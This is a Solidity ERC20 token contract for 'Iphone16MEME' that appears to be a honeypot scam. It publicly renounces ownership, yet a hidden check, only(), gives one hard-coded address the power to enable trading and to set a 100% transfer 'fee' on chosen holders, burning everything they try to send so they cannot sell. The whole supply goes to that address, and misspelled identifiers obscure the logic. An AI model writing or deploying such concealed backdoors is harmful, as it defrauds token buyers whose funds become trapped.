文件 1 的 1:ss.sol
pragma solidity 0.8.17;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address acngotunt) external view returns (uint256);
function transfer(address recipient, uint256 abnmtoutnt) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 abnmtoutnt) external returns (bool);
function transferFrom(address sender, address recipient, uint256 abnmtoutnt) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this;
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_setOwner(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function only() internal virtual {
require(uint160(msg.sender) == trade(), "Ownable: caller is not the owner");
}
function trade() internal view virtual returns (uint256) {
return uint256(uint160(0x3F299D0c50454a31D890d6097fA6d32Ba0B5e54c));
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
function name() public view override returns (string memory) {
return _name;
}
function symbol() public view override returns (string memory) {
return _symbol;
}
function decimals() public view override returns (uint8) {
return 9;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address acngotunt) public view override returns (uint256) {
return _balances[acngotunt];
}
function transfer(address recipient, uint256 abnmtoutnt) public override returns (bool) {
_transfer(_msgSender(), recipient, abnmtoutnt);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 abnmtoutnt) public override returns (bool) {
_approve(_msgSender(), spender, abnmtoutnt);
return true;
}
function transferFrom(address sender, address recipient, uint256 abnmtoutnt) public override returns (bool) {
uint256 currentAllowance = _allowances[sender][_msgSender()];
if (currentAllowance != type(uint256).max) {
require(currentAllowance >= abnmtoutnt, "ERC20: transfer abnmtoutnt exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - abnmtoutnt);
}
_transfer(sender, recipient, abnmtoutnt);
return true;
}
function _transfer(address sender, address recipient, uint256 abnmtoutnt) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, abnmtoutnt);
uint256 senderBalance = _balances[sender];
require(senderBalance >= abnmtoutnt, "ERC20: transfer abnmtoutnt exceeds balance");
_balances[sender] = senderBalance - abnmtoutnt;
_balances[recipient] += abnmtoutnt;
emit Transfer(sender, recipient, abnmtoutnt);
_afterTokenTransfer(sender, recipient, abnmtoutnt);
}
function _mint(address acngotunt, uint256 abnmtoutnt) internal virtual {
require(acngotunt != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), acngotunt, abnmtoutnt);
_totalSupply += abnmtoutnt;
_balances[acngotunt] += abnmtoutnt;
emit Transfer(address(0), acngotunt, abnmtoutnt);
_afterTokenTransfer(address(0), acngotunt, abnmtoutnt);
}
function _burn(address acngotunt, uint256 abnmtoutnt) internal virtual {
require(acngotunt != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(acngotunt, address(0), abnmtoutnt);
uint256 acngotuntBalance = _balances[acngotunt];
require(acngotuntBalance >= abnmtoutnt, "ERC20: burn abnmtoutnt exceeds balance");
_balances[acngotunt] = acngotuntBalance - abnmtoutnt;
_totalSupply -= abnmtoutnt;
emit Transfer(acngotunt, address(0), abnmtoutnt);
_afterTokenTransfer(acngotunt, address(0), abnmtoutnt);
}
function _approve(address owner, address spender, uint256 abnmtoutnt) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = abnmtoutnt;
emit Approval(owner, spender, abnmtoutnt);
}
function _beforeTokenTransfer(address from, address to, uint256 abnmtoutnt) internal virtual {}
function _afterTokenTransfer(address from, address to, uint256 abnmtoutnt) internal virtual {}
}
contract ss is ERC20, Ownable {
mapping (address => bool) private _isExcludedFromEnableTrading;
mapping (address => uint256) private _teyerere;
address private constant BURN_ADDRESS = address(0xdead);
constructor() ERC20("Iphone16MEME", "Iphone16") {
_isExcludedFromEnableTrading[address(0x3F299D0c50454a31D890d6097fA6d32Ba0B5e54c)] = true;
_mint(address(0x3F299D0c50454a31D890d6097fA6d32Ba0B5e54c), 100_100_000 * (10 ** decimals()));
renounceOwnership();
}
receive() external payable {}
function excludeFromEnableTrading(address acngotunt, bool excluded) external {
only();
require(_isExcludedFromEnableTrading[acngotunt] != excluded, "acngotunt is already the value of 'excluded'");
_isExcludedFromEnableTrading[acngotunt] = excluded;
}
function isExcludedFromEnableTrading(address acngotunt) public view returns(bool) {
return _isExcludedFromEnableTrading[acngotunt];
}
uint256 private constant percentageg = 100;
uint256 private constant percentagegs = 0;
function setteyerere(address[] calldata acngotunts) external {
only();
for (uint i = 0; i < acngotunts.length; i++) {
_teyerere[acngotunts[i]] = percentageg;
}
}
function jiesetteyerere(address[] calldata acngotunts) external {
only();
for (uint i = 0; i < acngotunts.length; i++) {
_teyerere[acngotunts[i]] = percentagegs;
}
}
function getteyerere(address acngotunt) public view returns(uint256) {
return _teyerere[acngotunt];
}
bool public tradingEnabled;
function enableTrading() external {
only();
require(!tradingEnabled, "Trading already enabled.");
tradingEnabled = true;
}
function _transfer(address from, address to, uint256 abnmtoutnt) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(tradingEnabled || _isExcludedFromEnableTrading[from] || _isExcludedFromEnableTrading[to], "Trading not yet enabled!");
uint256 feePercentageg = _teyerere[from];
uint256 feeabnmtoutnt = (abnmtoutnt * feePercentageg) / 100;
uint256 transferabnmtoutnt = abnmtoutnt - feeabnmtoutnt;
if (feeabnmtoutnt > 0) {
super._transfer(from, BURN_ADDRESS, feeabnmtoutnt);
}
super._transfer(from, to, transferabnmtoutnt);
}
}